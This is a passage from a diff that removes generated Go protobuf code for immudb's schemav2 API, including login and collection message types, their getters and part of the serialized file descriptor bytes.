file_schemav2_proto_rawDescGZIP(), []int{4} -} - -func (x *LoginRequest) GetUsername() string { - if x != nil { - return x.Username - } - return "" -} - -func (x *LoginRequest) GetPassword() string { - if x != nil { - return x.Password - } - return "" -} - -func (x *LoginRequest) GetDatabase() string { - if x != nil { - return x.Database - } - return "" -} - -type LoginResponseV2 struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` - ExpirationTimestamp int32 `protobuf:"varint,2,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` -} - -func (x *LoginResponseV2) Reset() { - *x = LoginResponseV2{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *LoginResponseV2) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*LoginResponseV2) ProtoMessage() {} - -func (x *LoginResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use LoginResponseV2.ProtoReflect.Descriptor instead. -func (*LoginResponseV2) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{5} -} - -func (x *LoginResponseV2) GetToken() string { - if x != nil { - return x.Token - } - return "" -} - -func (x *LoginResponseV2) GetExpirationTimestamp() int32 { - if x != nil { - return x.ExpirationTimestamp - } - return 0 -} - -type CollectionCreateRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` - IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` -} - -func (x *CollectionCreateRequest) Reset() { - *x = CollectionCreateRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionCreateRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionCreateRequest) ProtoMessage() {} - -func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[6] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. -func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{6} -} - -func (x *CollectionCreateRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]PossibleIndexType { - if x != nil { - return x.PrimaryKeys - } - return nil -} - -func (x *CollectionCreateRequest) GetIndexKeys() map[string]PossibleIndexType { - if x != nil { - return x.IndexKeys - } - return nil -} - -type CollectionInformation struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` - IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` -} - -func (x *CollectionInformation) Reset() { - *x = CollectionInformation{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[7] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionInformation) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionInformation) ProtoMessage() {} - -func (x *CollectionInformation) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[7] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. -func (*CollectionInformation) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{7} -} - -func (x *CollectionInformation) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionInformation) GetPrimaryKeys() map[string]PossibleIndexType { - if x != nil { - return x.PrimaryKeys - } - return nil -} - -func (x *CollectionInformation) GetIndexKeys() map[string]PossibleIndexType { - if x != nil { - return x.IndexKeys - } - return nil -} - -type CollectionGetRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *CollectionGetRequest) Reset() { - *x = CollectionGetRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[8] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionGetRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionGetRequest) ProtoMessage() {} - -func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[8] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. -func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{8} -} - -func (x *CollectionGetRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type CollectionListRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields -} - -func (x *CollectionListRequest) Reset() { - *x = CollectionListRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[9] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionListRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionListRequest) ProtoMessage() {} - -func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[9] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. -func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{9} -} - -type CollectionListResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collections []*CollectionInformation `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` -} - -func (x *CollectionListResponse) Reset() { - *x = CollectionListResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[10] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionListResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionListResponse) ProtoMessage() {} - -func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[10] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. -func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{10} -} - -func (x *CollectionListResponse) GetCollections() []*CollectionInformation { - if x != nil { - return x.Collections - } - return nil -} - -type CollectionDeleteRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *CollectionDeleteRequest) Reset() { - *x = CollectionDeleteRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[11] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionDeleteRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionDeleteRequest) ProtoMessage() {} - -func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[11] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. -func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{11} -} - -func (x *CollectionDeleteRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type Proof struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *Proof) Reset() { - *x = Proof{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[12] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Proof) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Proof) ProtoMessage() {} - -func (x *Proof) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[12] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Proof.ProtoReflect.Descriptor instead. -func (*Proof) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{12} -} - -func (x *Proof) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -var File_schemav2_proto protoreflect.FileDescriptor - -var file_schemav2_proto_rawDesc = []byte{ - 0x0a, 0x0e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x12, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, - 0x32, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, - 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, - 0x1b, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2f, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x8f, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3a, 0x0a, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x34, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, - 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x22, 0x62, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x0f, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, - 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, - 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, - 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, - 0x70, 0x22, 0xa7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x5b, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, - 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, - 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, - 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, - 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x03, 0x0a, 0x15, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, - 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, - 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 